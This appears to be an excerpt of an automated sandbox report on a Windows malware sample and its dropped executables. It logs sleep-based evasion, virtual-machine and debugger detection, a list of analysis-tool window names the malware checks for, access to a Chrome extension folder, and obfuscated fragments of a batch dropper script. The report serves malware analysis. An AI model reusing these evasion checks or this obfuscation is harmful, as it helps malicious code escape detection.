Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 3164	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7004	Thread sleep count: 145 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7004	Thread sleep time: -4350000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7004	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe TID: 6028	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6756	Thread sleep count: 4346 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep count: 1720 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5264	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe TID: 1184	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_007493D0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

4_2_007493D0

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Anv6Gbh51e.exe, 00000000.00000002.2232344772.0000000000539000.00000040.00000001.01000000.00000003.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569543297.0000000000DB1000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: rapes.exe, 0000000C.00000002.2987219481.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: nahprot.bat.13.dr	Binary or memory string: %NDTWoNDWluZHUqgHatZRhhswDMjaxiExttOEcbnMHVZUhTXoFzkIzhyFkxsBECydQCnBBCEZfnkmhyoJPVvYYVXmVitFIMiewWdEGvMc% "G%mTBJtHxEKuiMghPEAWRFiaVBwKMXxtBrmSvgkIMNF%a%UYibWZkKQmKEOZlYamIUzgqTQAnMIuRjeZocMAALB%H%mGgQNxTkikvdTgNHpkvMycwuBAPLilAMXsmAkddct%a%BAjwflSAvxpfZdkjMonIhbWJJgAUnxlgssWBmYvoW%M%lNNkGYpbqxOQumADAMZLYnXmjMHgJWNTYLWnjzchl%s%SWZxpXfwXMmvDXXPBbUrjruJURJpmuaJRzfrYOTPB%f%JMjByvNZxHyiQbACpCyoPkCMCDdRFRMhePzFkiwwV%u%qOMCBbyEPIlvALzjxZUsWtGVqdaBVshgbtyvQjbCF%c%mQiAMEeawMiBeZXiRlxaWJxBfthmdsoYsNJCxuEzW%y%ByFYEXuBnYYDBIDtHvsxRXdykjqpuKxGYdvlRDAwN%I%LPupuQegiPYmcfDuhNuGegCBrFynrCeUWKghJiPtm%C%jmUyuWYRQJPgPIEnSYPrQOGLdqsZwLZXauUUHcXJz%k%vBSoOgbBUQjabvvFjveEYveKRfvOKFQbgSvmNwpjq%I%xBVPXYYyoyHTeAaxiwJLnRpaiTjajSMfUnBUjUUgw%f%pvgihbruOEaGxdGlUGdPXpvMBYRZgnnCCoXviRaSS%s%FuoLzwjUIooRryaauHjkroAqydiflddFlWsUhabBH%A%fxZZKkQXvOkRIBqTXnwoeIFlIGugfStFHClQBrNSs%v%iQoSNCvbakMFnDwSNreQJRCvFkfpAsFADVWSqtUdZ%M%feHHauZPYNaIcIqnSnDwgBIElbrGDBuwbQEMUOFPg%H%ACEFSBnGFygqGTDwdvYcslwtDGleDseHNqFZeZsAe%w%aYdofvXaqRsGNOpfkbmpidmtyCpnEsdcyXrmseylo%u%dmALbaCqTTYgkVXLKQCfKvYOqiPwcNgDabfQMHxCN%%lWMKnyALpYB%t%LyfVocuAIoVfDHnMvSkfogNufiQgZcsarNKzIuUNcBeRIVyyC%"
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: nahprot.bat.13.dr	Binary or memory string: %NDTWoNDWluZHUqgHatZRhhswDMjaxiExttOEcbnMHVZUhTXoFzkIzhyFkxsBECydQCnBBCEZfnkmhyoJPVvYYVXmVitFIMiewWdEGvMc% "l%yvOkmmncVotcVZJKViXhYbKlwSfUExbJZqaQuBIAQAzxodn%i%QTfguqNPwKCOuhtxynKcEYSptzwrxCmWsFoazqHsmBDfSNo%M%twcakEbIRbPNUUwrUyFvOStYiFrPdvNxFlcUuCbsrWwYJCM%V%yQjJHmszBdeREnlFwnrhIRBWswneRvupGTTYTLglnMBRqKx%N%ffraLrveGpmrkZoHfIOlLtmLKhgUWpKGHZiYAvJXkOmJHuV%e%lZewiCzLLSFpDlBhqEGJkRqgJYRaWgDeqlUURTBdiowfVgf%D%MJGWebLKuJYMjLyOFpAZsqGqxcCAWuklCTeqpkydEAAlTgr%v%sKzRPuhNvdqzbykOZyMjqGhyuRxuRQuxqLjQwDuQvfJnZLw%M%EtMAMgXaMCbwYXMWEITjqpurwdWOlWUyJuSafqHqsKwnvgw%I%TIjeEfCfpZudJkiPQICNEeMRoaDQGSgWpHcfcSpthpDbKmY%g%fjUGEStROWrQDCMywSyNbhdMYtjGpBLgbcxGMmCdWPojKbL%i%QuQgimyXYghIkJMCmlkOBfgMkpuQlTTcWItlyvCUDezzEEr%Q%ukmcYznjKodWSRHLemfLCpBdRIqlxGGiGYZGYQVCJyJWvyJ%D%cVtumySOfJjlpjbMdIUqUSbMnrCcdGEIsZnqemuJNjUXPFG%P%tHMFoAiPkTGgVVPKyeASpVLIRolCKYeWIKjurbqijkdwxgy%c%OXyvSpNqxWeOapFelPJykMutxOsJfSpkLPwElDlHUtMymmp%C%SDfRGNIncCfXdWdkEHTdkSbTIEcDRZWgkzzfabIwcCubgFi%n%KRihRsjfaCmjcLewcGYMExYkDYxaIxZMcvrMIReObtzDOSG%U%LYfsvhTDnSYESVjxCDzgGusOkBkLkXvwKrMcCfDEjRdTJml%%lWMKnyALpYB%e%RWWZpLaqFrhTXitqxCUBjhVxZUXOqzeYqrToavgYrvwkYKHa%"
Source: cmd.exe, 00000011.00000002.2984174692.0000021CA28EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: feHHauZPYNaIcIqnSnDwgBIElbrGDBuwbQEMUOFPg
Source: nahprot.bat.13.dr	Binary or memory string: %XMGZvTFDGLegRqrZQKDiinSnTkclPEizfMFeWIgaBlAdGjxhdrxZHewJTsgkQtNbDEbeLmchECHWMPHKNVhygiRapVlEBVkhyzzbisvR% "r%cbVHXzpKxUNSqtLFDdJnUVIxHLWVVxLCxdOyvlrLE%n%lPRQEOxvkXlzGpgtxZmDuPZikvnFnjrMYIIgQGdWy%Q%zKAAdQNHeXlfhjwPJGiBRibFzBXGaDRWqeVfzIhEz%z%YjlgHQzmqgaUvGqIUaBShGBgpOcoqqbyEbTZPzSKy%q%uKwQbUxEwEIFLsrHfQSOlVZfBqtNrSvhRuMWepnUE%S%JUMtTSJBrKIaWnyKrpLBKmDiAOrFvCPCXjBbmMIxK%p%laiNhVholNaCtUwrESfBdgOUfcMLxxEHnQymuvtSk%k%qkPPaEoeKITCWGfmnHeivRNjtoCvkWizmrNVZfeyy%U%GNPLerktahNoJOzxGwLcSUNAtqFTkmiCGKOeYxoXr%W%ckPvkCCnxsItvFMZorNLriNYkIZZvzihOLQKYfjNc%m%FMUzjkfceJgBlaTwQkBDCSYkBEKObajiaJLwTzayT%L%WqQbGCLWniUHkzNOJXFAqbezYACoxDrjdJFBhjVcZ%D%SNSpAQjXHjBvXDVmqcfawzKRLDATmGAcDBynlkxKt%w%qQtPNggKpQgPbCtdbDXppLaJySweIagFuGgJqbXxu%f%jXPumBYfkkGAvdEPKrUJbboKAvuwKMaGAUfOkplry%R%ZxPzeZDBTGJdNthIfTRgBvxkaZAXQEvfDlbEzlvvR%h%VQgqCMBYgfvulWEaEyfyFLplEACrDiUxvoGErUxmZ%P%ZJyZKroxDUMqXmkBVLckjuXlXYWpZIKbSzFbQlTin%A%UZohhycwdwiucPFMnbLvZxVjLyyGjKJSUWpuIdQAT%p%SWmCGPJaoDjhNowefwIZwnsMpAfAkdjllBgBIGfIO%j%GUhAKhISqDHiBxFDAmfJjQltYWliVwyrZkPtklEsx%T%HUzCdKdBXhtZZFPJOCOVAXTfpiqHmtoHMlBVLQVmi%%DbmzwNpQFjA%'%YoeraEZKwJQwXKatmUtvoETLmNdUXXHCNSYFbXhLHBXFRq%$%oRVrEaSMsuvsfnBfMyboIeLvsoMINNHnUWzmZFtGJbAEkI%q%SUkCPyDCHjfzYpnkYFNhyiNpggfvFHEhlKwSxlXiKrpqgz%m%GetycVQckJhUvItiXZFYooSvMNHEwgTxjGzabgEIqiANLD%o%PpPCupKhlslYMpomGdQJLPisgRuWIgNfKjXsPUMDMbvhPd% %upueCwXbRagwvDVOzfEgnCrVwLrmWKtbDdwfCDEriIsXls%=%ziIYBqCJPRXyHQeKfgGfTrgPlVBnXFkuJdliEXidyUoFid% %VNmxDlqgzicSNGOpLkHDPEEWghYCGZdBHiaNaAcYdCEdgL%a%kCpjjeYForiqrvnOAAeBlEFaokhIzmZAPuXwnwPZCcTIFK%r%iGLpcdZFzFWoVYWpfcsHAWyRAeKfYjKXvDbBWkkVBkVrzZ%h%BRdmWRqXkmiUOXtTGqUYSrWutVSwgpbgrBCScLmTHytPsb%h%vmCIDEwBhjVITaZURUlbDnvARVdbqtYgcrAFTxMwKQtsXu%"
Source: cmd.exe, 0000000E.00000003.2824103678.00000195E80F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kKiaBHdCjYAsKHlYSAYhhdVhhkdXdBSzEuqTogvWLhON%b%qSujmPXntcEgPaSqDfzIfbOpqrKLfbwZpiRoPULnDFgC%X%PjdnnftFIgHodfSUflisFFRHiDAJumeAVmAhowyZIQqj%L%AClKbQhrwNWjsveJFJkvbgtRFLGINjKOoHgFsPIEeMeh%U%qqOSrOuYFUhujufpkzEndhVKozrPbGroblBoWNqZOLjt%X%AMwYKsuFiReivdDSwFXZDStXTQswiEyrYBkCctfImLgk%H%hsTTjxCjNjQHtyfTZXwEsMjTTbQdApNRMiPAWznKbpDO%t%LCjDolJopCRviaahHzIywYVkIEWzKLCciviqSmPoFyCk%D%qusWzfcCGfsNHYUJpjEDZPmNRJpvJuTXvKTomZaEIavd%q%cvITrfZwUYkBhEfQPHSmlurXfGxpjZUZtjLwbweEvwdx%H%zrgHUkPbijRHeLOKIJmUdlhXTJOtCoRPqTxNzPvZkTRk%%EfLxMWYmmZ%f%drpItVLjjtokjOkvvyUrcqkoalTnnKkuWFQrzLjsfFh%"
Source: Yg1HwMX.exe, 00000015.00000002.2986018163.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:t5
Source: nahprot.bat.13.dr	Binary or memory string: %kDmXlyMiIMJhAeUEbGtiZqtegPluKdtisdNsKpJKGwZZzXVRjaEPtUUTkiRwnryFsAOwrCTMXIBDrtFiUtlJyDPyiThCymxoXuHYiyAGgSSKsrCQDICTgOgOLpoyurnKlm% "e%yIgufnslXRFeclZIqaNHxcVigVbhBJzFoAdEnmqzjadyhht%W%fPhntKbpvNYnkmlKnsZQBiuvdKoxxYwaZBVstwfUnkHRoZg%n%mXpQfirRXuMjJwDSwqYnIqTqRneCrADgeEbAhiqRIKYXHmv%B%yKskAqLxVeZYSeOzwRFffudKnagFXsVIFRFSYpcQsggvhky%n%NTkBfcgqeGHXAkgzDiqtayWBgPPNYoHCdBsLMQQGyBBlrsB%t%FlGCmRQxoXJvqntrPZeTYRuNMsKUzWKjNnjBrLuLmeeOcvz%H%sfjLmmzDORTQUgVXsmzHddRZeEsGTNGKrSrPplyXoJuKyUA%w%FqgLBDNwonkHITSJbkjzcOfIgOCttJgBjeNpMbehDvcCfDQ%M%dwaszpvxQkyFMaudFgIxDgCWafcWGLDCCYzWtqGmNGWeows%C%gisxvwgmWTdstmzQeHWcNBxKozwJXjxIENVNooifwMCdpYm%l%ZoPSxrtEEKIiVZwoNvuNGqLCQyQFbZuuqmxvhraqkircGfm%b%faxPHVkGICnbYBODFqoSICahvvdDxZIVLmKEDjMyfGPTTpb%q%PwFLMsmEDaqtmRGjITsqMRjavEPMcMgoguohRnWDyHgEnQz%M%HzxgaBYoXmFqiDzBQTbnSCzruWOSeKFMFeinFFgMhfqVmXO%l%aYfpLlCHeZfMdMgjnGSLeumWkMpgMmEexiOUZuUBcwdozTd%v%aaWdotlKFMjfYWwVSvboUYmkSMrJHrYxrIpfQipKlyjhPpV%q%FFAlSyEibOLlBcCcoOLNpGrfJfqdvOeuCRMdgffZMAnqeWO%O%IIwVteCFYnvCMhBMnKrJKqyViIMbPtbbMrIuZTLqalOPLDs%P%RlNaGMndsjAMKrAQEmuPvzgNtYaJyBIjFqUQctuoznqlyga%E%YzvjDrOXseaGHMEEQArhuwKNlRfqhjVonYcjdsfSQtCLcNN%u%CUJzKhYGCOHYLlyPjjLsIKuByvyqbTZLxeDvyJlgoszuwtu%y%GsDtCqueSAibpJHFIPVAGIcrzYEeqkZeeaSXxAxvdaLUpIV%I%xGNREBTNYplUDLpNHAdWoQJhiszwGXibQchxDsvDlmUIlGT%%TZambHWEyVNn%e%NmdumLHGWFJmbwhahkdBERkpfALbWbVBzPJtUNPfuABYJj%r%COfTAbCrfVcOpLaGKUJhMlNOgtuYhdqmFWYWWdBTZiKNqf%t%ydeOQGoCwqbrMgHEkcFQisNdKGtPiEBZxaUrTsnJXdzHUE%y%rumvXIhAXgpaejnyuSPbULmqKROVSfTgjfpZDNGSRWdObS% %odwyJHRSKFiWKfTmHSmiRYUoVGlXjXIxoRDLzuvlpquJRG%-%cBZFolBSbpiiDcwUJMXKHSCiMnwaSBDkxoEKXEIwVvQoCr%P%QtPvHHMgZjZRTbOAazLYKoyMWeeAOlcnFvwdlxUVyqpuKg%a%KHHuvqCDGCVdzCDlsNhLlxELpDFPAuZdbQuxStPLLbOUhh%t%XssmYBmZVmcVfSKMdmCRcJigsYYvZjJJEiFnxowyQbUhuW%h%oXaYYCrqfoklTZDQZMDsrWnxpPQeaaOaMwJavbkgsndqdl% %uwUabiDbFrJDJiMnpeAjzxqCvYBwadTWtduukaYGxKQrrR%$%scueYYQUMXfsEdHgbByMjFOsdofTLOGYlEGzcVfUgzrwoR%"
Source: Anv6Gbh51e.exe, Anv6Gbh51e.exe, 00000000.00000003.2206156530.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234180153.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1787194275.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2170160359.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1929031558.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1744867889.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2233970920.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000C.00000002.2987219481.0000000001516000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.000000000056E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: NKJ797NQF61QBFM5Y63P3Y.exe, 00000004.00000003.2199875083.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}w
Source: cmd.exe, 00000011.00000003.2875191671.0000021CA291D000.00000004.00000020.00020000.00000000.sdmp, nahprot.bat.13.dr	Binary or memory string: %NDTWoNDWluZHUqgHatZRhhswDMjaxiExttOEcbnMHVZUhTXoFzkIzhyFkxsBECydQCnBBCEZfnkmhyoJPVvYYVXmVitFIMiewWdEGvMc% "m%FIGOybpIgRMgekFDbGFUUyQnpgsPMxhTAgHVFxtXaMzI%S%pQGJrdrWKNAhRsysJzVIJSFYDJXEnIThYiXzAIxIgljM%Z%FAenYboARQYxkHgHgMJcTtiJuZRabmCyJStcFKGmusqi%q%jAoSCQCtChTlsuSYjnyEoAOrodcvgwHAdazULZylKiWB%v%ZhKlSHcgULTJMWDzOhmfzsisVYmkPmUfDmshsRCyuBGr%F%gQhPvZxCWRcHYspUvRrHQNgAEwgWEOKYMQleQxOQOrjL%z%kKiaBHdCjYAsKHlYSAYhhdVhhkdXdBSzEuqTogvWLhON%b%qSujmPXntcEgPaSqDfzIfbOpqrKLfbwZpiRoPULnDFgC%X%PjdnnftFIgHodfSUflisFFRHiDAJumeAVmAhowyZIQqj%L%AClKbQhrwNWjsveJFJkvbgtRFLGINjKOoHgFsPIEeMeh%U%qqOSrOuYFUhujufpkzEndhVKozrPbGroblBoWNqZOLjt%X%AMwYKsuFiReivdDSwFXZDStXTQswiEyrYBkCctfImLgk%H%hsTTjxCjNjQHtyfTZXwEsMjTTbQdApNRMiPAWznKbpDO%t%LCjDolJopCRviaahHzIywYVkIEWzKLCciviqSmPoFyCk%D%qusWzfcCGfsNHYUJpjEDZPmNRJpvJuTXvKTomZaEIavd%q%cvITrfZwUYkBhEfQPHSmlurXfGxpjZUZtjLwbweEvwdx%H%zrgHUkPbijRHeLOKIJmUdlhXTJOtCoRPqTxNzPvZkTRk%%EfLxMWYmmZ%f%drpItVLjjtokjOkvvyUrcqkoalTnnKkuWFQrzLjsfFh%"
Source: Anv6Gbh51e.exe, 00000000.00000003.2206156530.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234180153.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1787194275.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2170160359.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1929031558.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1744867889.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Anv6Gbh51e.exe, 00000000.00000002.2232344772.0000000000539000.00000040.00000001.01000000.00000003.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569543297.0000000000DB1000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 0iMSdYX.exe, 0000000D.00000002.2821473072.000000001BA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_0076A1A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_0076A1A5

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_0076DB60 mov eax, dword ptr fs:[00000030h]	4_2_0076DB60
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_00775FF2 mov eax, dword ptr fs:[00000030h]	4_2_00775FF2
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E8DB60 mov eax, dword ptr fs:[00000030h]	5_2_00E8DB60
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E95FF2 mov eax, dword ptr fs:[00000030h]	5_2_00E95FF2
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E8DB60 mov eax, dword ptr fs:[00000030h]	6_2_00E8DB60
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E95FF2 mov eax, dword ptr fs:[00000030h]	6_2_00E95FF2

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_00EA04F2 GetProcessHeap,

5_2_00EA04F2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_0076A1A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0076A1A5
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_007698B8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_007698B8
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_0076EB6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0076EB6D
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E8A1A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00E8A1A5
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E8A308 SetUnhandledExceptionFilter,	5_2_00E8A308
